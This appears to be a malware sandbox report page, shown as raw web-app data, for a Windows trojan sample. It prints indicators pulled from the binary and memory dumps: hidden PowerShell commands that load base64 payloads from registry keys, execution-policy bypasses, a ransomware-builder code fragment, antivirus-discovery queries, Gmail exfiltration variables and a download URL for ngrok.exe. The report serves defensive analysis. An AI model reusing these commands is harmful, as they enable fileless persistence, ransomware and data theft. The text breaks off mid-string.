26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 5f:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T494,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Generic Sample 1c300da55b69… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 1c300da55b69…. Malware family: Trojan.Generic. Threat score 100/100. 16/27 AV engines flagged this file. 5 malicious and 8 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55","keywords":["Malicious","Trojan.Generic","malware analysis","sandbox report","threat intelligence","1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55"],"about":{"@type":"SoftwareApplication","name":"xg6hsb6VyKuk.exe","applicationCategory":["peexe","assembly","executable"],"identifier":"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Generic","antivirusDetections":{"malicious":16,"total":27},"behavioralIndicators":{"malicious":5,"suspicious":8},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T568,Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp")28:Tbb7,Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "SizeOf" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "GetDelegateForFunctionPointer" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "AllocHGlobal" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "StructureToPtr" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "PtrToStructure" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "GetLastWin32Error" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed namespace "System.IO.MemoryStream" and TypeReference ".ctor" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed namespace "System.IO.MemoryStream" and TypeReference "ToArray" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "FreeHGlobal" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "AllocCoTaskMem" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "FreeCoTaskMem" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "MoveNext" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "GetHRForException" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "GetTypeFromCLSID" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "ReleaseComObject" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "ThrowExceptionForHR" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "Release" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin"29:Tb13,Observed string: "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\JavaSoft\).daolyap)).EntryPoint.Invoke($Null,$Null)" (Indicator: "Reflection.Assembly]::Load") in Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin Observed string: "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\\Software\\JavaSoft\\).daolyap)).EntryPoint.Invoke($Null,$Null)" (Indicator: "Reflection.Assembly]::Load") in Source: 6000891-_~_ Observed string: "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\\Software\\Ccleaner\\).Ccleaner)).EntryPoint.Invoke($Null,$Null)" (Indicator: "Reflection.Assembly]::Load") in Source: 60009a7-_~_ Observed string: "hell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\JavaSoft\).daolyap)).EntryPoint.Invoke($Null,$Null)" (Indicator: "Reflection.Assembly]::Load") in Source: 00000000-00003464.00000001.68400.00172000.00000020.mdmp Observed string: "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\Ccleaner\).Ccleaner)).EntryPoint.Invoke($Null,$Null)" (Indicator: "Reflection.Assembly]::Load") in Source: 00000000-00003464.00000001.68400.00172000.00000020.mdmp Observed string: "owershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\JavaSoft\).daolyap)).EntryPoint.Invoke($Null,$Null)" (Indicator: "Reflection.Assembly]::Load") in Source: 00000000-00003464.00000000.66478.00172000.00000020.mdmp 00000000-00003464.00000001.68400.00172000.00000020.mdmp 00000000-00003464.00000002.70319.00172000.00000020.mdmp 00000000-00003464.00000003.75826.00172000.00000020.mdmp Observed string: "owershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\Ccleaner\).Ccleaner)).EntryPoint.Invoke($Null,$Null)" (Indicator: "Reflection.Assembly]::Load") in Source: 00000000-00003464.00000000.66478.00172000.00000020.mdmp 00000000-00003464.00000001.68400.00172000.00000020.mdmp 00000000-00003464.00000002.70319.00172000.00000020.mdmp 00000000-00003464.00000003.75826.00172000.00000020.mdmp2a:T925,Found string "ExecutionPolicy Bypass -WindowStyle Hidden Set-ExecutionPolicy Unrestricted & exit" (Indicator: "Set-ExecutionPolicy"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "/k start /b powershell Set-ExecutionPolicy unrestricted -Scope CurrentUser -ErrorAction SilentlyContinue -Confirm:$false & exit" (Indicator: "Set-ExecutionPolicy"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "/k start /b powershell –ExecutionPolicy Bypass -WindowStyle Hidden Set-ExecutionPolicy Unrestricted & exit" (Indicator: "Set-ExecutionPolicy"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "/k start /b powershell Set-ExecutionPolicy RemoteSigned -Scope CurrentUser -ErrorAction SilentlyContinue -Confirm:$false & exit" (Indicator: "Set-ExecutionPolicy"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "-WindowStyle Hidden Set-ExecutionPolicy Unrestricted & exit" (Indicator: "Set-ExecutionPolicy"; File: "00000000-00003464.00000001.68400.00172000.00000020.mdmp") Found string "xecutionPolicy Bypass -WindowStyle Hidden Set-ExecutionPolicy Unrestricted & exit" (Indicator: "Set-ExecutionPolicy"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found string "k start /b powershell Set-ExecutionPolicy unrestricted -Scope CurrentUser -ErrorAction SilentlyContinue -Confirm:$false & exit" (Indicator: "Set-ExecutionPolicy"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found string "k start /b powershell Set-ExecutionPolicy RemoteSigned -Scope CurrentUser -ErrorAction SilentlyContinue -Confirm:$false & exit" (Indicator: "Set-ExecutionPolicy"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp")2b:T258c,Found reference to "RijndaelManaged" (Indicator: "Rijndael"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to "RijndaelManaged" (Indicator: "RijndaelManaged"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to "CryptoStreamMode" (Indicator: "CryptoStream"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to "CryptoStream" (Indicator: "CryptoStream"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to "SymmetricAlgorithm" (Indicator: "SymmetricAlgorithm"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to "Rfc2898DeriveBytes" (Indicator: "DeriveBytes"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to "Rfc2898DeriveBytes" (Indicator: "Rfc2898DeriveBytes"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") file/memory contains long string with (Indicator: "CryptoStream"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") file/memory contains long string with (Indicator: "DeriveBytes"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") file/memory contains long string with (Indicator: "Rfc2898DeriveBytes"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") file/memory contains long string with (Indicator: "Rijndael"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") file/memory contains long string with (Indicator: "RijndaelManaged"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to "HMACSHA256" (Indicator: "HMAC"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to "HMACSHA256" (Indicator: "HMACSHA256"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to "SHA256Managed" (Indicator: "SHA256Managed"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to "HashAlgorithm" (Indicator: "HashAlgorithm"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to "AesCryptoServiceProvider" (Indicator: "Aes"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to "AesCryptoServiceProvider" (Indicator: "AesCryptoServiceProvider"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") file/memory contains long string with (Indicator: "CryptoStream"; File: "00000000-00003464.00000001.68400.00172000.00000020.mdmp") file/memory contains long string with (Indicator: "DeriveBytes"; File: "00000000-00003464.00000001.68400.00172000.00000020.mdmp") file/memory contains long string with (Indicator: "Rfc2898DeriveBytes"; File: "00000000-00003464.00000001.68400.00172000.00000020.mdmp") file/memory contains long string with (Indicator: "Rijndael"; File: "00000000-00003464.00000001.68400.00172000.00000020.mdmp") file/memory contains long string with (Indicator: "RijndaelManaged"; File: "00000000-00003464.00000001.68400.00172000.00000020.mdmp") Found reference to "RijndaelManaged" (Indicator: "Rijndael"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to "RijndaelManaged" (Indicator: "RijndaelManaged"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to "CryptoStreamMode" (Indicator: "CryptoStream"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to "CryptoStream" (Indicator: "CryptoStream"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to "SymmetricAlgorithm" (Indicator: "SymmetricAlgorithm"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to "Rfc2898DeriveBytes" (Indicator: "DeriveBytes"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to "Rfc2898DeriveBytes" (Indicator: "Rfc2898DeriveBytes"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to "RijndaelManaged AES = new RijndaelManaged();" (Indicator: "Rijndael"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to "RijndaelManaged AES = new RijndaelManaged();" (Indicator: "RijndaelManaged"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to "var key = new Rfc2898DeriveBytes(passwordBytes, saltBytes, 1000);" (Indicator: "DeriveBytes"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to "var key = new Rfc2898DeriveBytes(passwordBytes, saltBytes, 1000);" (Indicator: "Rfc2898DeriveBytes"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to "CryptoStream cs = new CryptoStream(fsCrypt," (Indicator: "CryptoStream"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to "CryptoStreamMode.Write);" (Indicator: "CryptoStream"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to "HMACSHA256" (Indicator: "HMAC"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000000.66478.01B60000.00000004.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to "HMACSHA256" (Indicator: "HMACSHA256"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000000.66478.01B60000.00000004.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to "SHA256Managed" (Indicator: "SHA256Managed"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to "HashAlgorithm" (Indicator: "HashAlgorithm"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to "AesCryptoServiceProvider" (Indicator: "Aes"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000000.66478.01B60000.00000004.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to "AesCryptoServiceProvider" (Indicator: "AesCryptoServiceProvider"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000000.66478.01B60000.00000004.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to "HMAC" (Indicator: "HMAC"; Source: "00000000-00003464.00000000.66478.01B60000.00000004.mdmp")2c:Td31,Found reference to API "FromBase64String" (Indicator: "FromBase64String"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\JavaSoft\).daolyap)).EntryPoint.Invoke($Null,$Null)" (Indicator: "FromBase64String"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\\Software\\JavaSoft\\).daolyap)).EntryPoint.Invoke($Null,$Null)" (Indicator: "FromBase64String"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\\Software\\Ccleaner\\).Ccleaner)).EntryPoint.Invoke($Null,$Null)" (Indicator: "FromBase64String"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API "hell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\JavaSoft\).daolyap)).EntryPoint.Invoke($Null,$Null)" (Indicator: "FromBase64String"; File: "00000000-00003464.00000001.68400.00172000.00000020.mdmp") Found reference to API "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\Ccleaner\).Ccleaner)).EntryPoint.Invoke($Null,$Null)" (Indicator: "FromBase64String"; File: "00000000-00003464.00000001.68400.00172000.00000020.mdmp") Found reference to API "owershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\JavaSoft\).daolyap)).EntryPoint.Invoke($Null,$Null)" (Indicator: "FromBase64String"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API "owershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\Ccleaner\).Ccleaner)).EntryPoint.Invoke($Null,$Null)" (Indicator: "FromBase64String"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API "FromBase64String" (Indicator: "FromBase64String"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp")2d:T490,Observed string: "using System;using System.Collections.Generic;using System.Text;using System.Diagnostics;using System.Threading;using System.Globalization;using System.Net;using System.Security.Cryptography; using System.IO; namespace Crypt_it{ class Program { public static string imha = "DEGER"; static void Main(string[] args) { Crypt(new string[] {HANGIDIZINLER}, new string[] {@HANGIUZANTILER }, @"PASSWORD", @".UZANTICRYPT"); using (StreamWriter sw = new StreamWriter(Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + @"\NOTISMI.txt")) { sw.WriteLine(@"MESAJ"); } System.Diagnostics.Process.Start("notepad.exe",Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + @"\NOTISMI.txt"); if(imha == "EVET") { imha_zamani(); } } public static void imha_zamani() {.AesCryptoServiceProvider.D:\Ransomware-Builder-v0.2d-master\Decryptor\Decryptor\obj\Debug\Decryptor.pdb" in Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin2e:T644,Found string "SELECT * FROM Win32_VideoController" (Indicator: "select * from "; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "Select * From Win32_Process Where ParentProcessID=" (Indicator: "select * from "; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "SELECT * FROM Win32_BIOS" (Indicator: "select * from "; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "SELECT * FROM Win32_BaseBoard" (Indicator: "select * from "; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "SELECT * FROM Win32_Processor" (Indicator: "select * from "; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "Select * From Win32_ComputerSystem" (Indicator: "select * from "; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "SELECT * FROM Win32_DisplayConfiguration" (Indicator: "select * from "; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "SELECT * FROM Win32_OperatingSystem WHERE Primary='true'" (Indicator: "select * from "; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "SELECT * FROM AntivirusProduct" (Indicator: "select * from "; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "SELECT * FROM FirewallProduct" (Indicator: "select * from "; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin")2f:Ta5d,Found string "SET GmailAccount=" (Indicator: "set "; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "SET GmailPassword=" (Indicator: "set "; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "SET Attachment=" (Indicator: "set "; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string ""set f = filesys.GetFile("" (Indicator: ""set "; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "set logFile=" (Indicator: "set "; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "set exeFile=" (Indicator: "set "; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "set directory=" (Indicator: "set "; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "set directory1=" (Indicator: "set "; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "set protoc=" (Indicator: "set "; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "SET PowerShellDir=C:\\Windows\\System32\\WindowsPowerShell\\v1.0" (Indicator: "set "; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "SET PSScript=%temp%\\~tmpSendeMail.ps1" (Indicator: "set "; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") file/memory contains long string with (Indicator: "set "; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "set logFile=%TEMP%\\proclog.txt" (Indicator: "set "; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "set exeFile=%TEMP%\\Install.exe" (Indicator: "set "; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "set downloadURL=http://91.134.207.16/update/ngrok.exe" (Indicator: "set "; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "set exeFile=%TEMP%\\ngrok.exe" (Indicator: "set "; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "set CDAudio door open" (Indicator: "set "; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "set CDAudio door closed" (Indicator: "set "; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "set 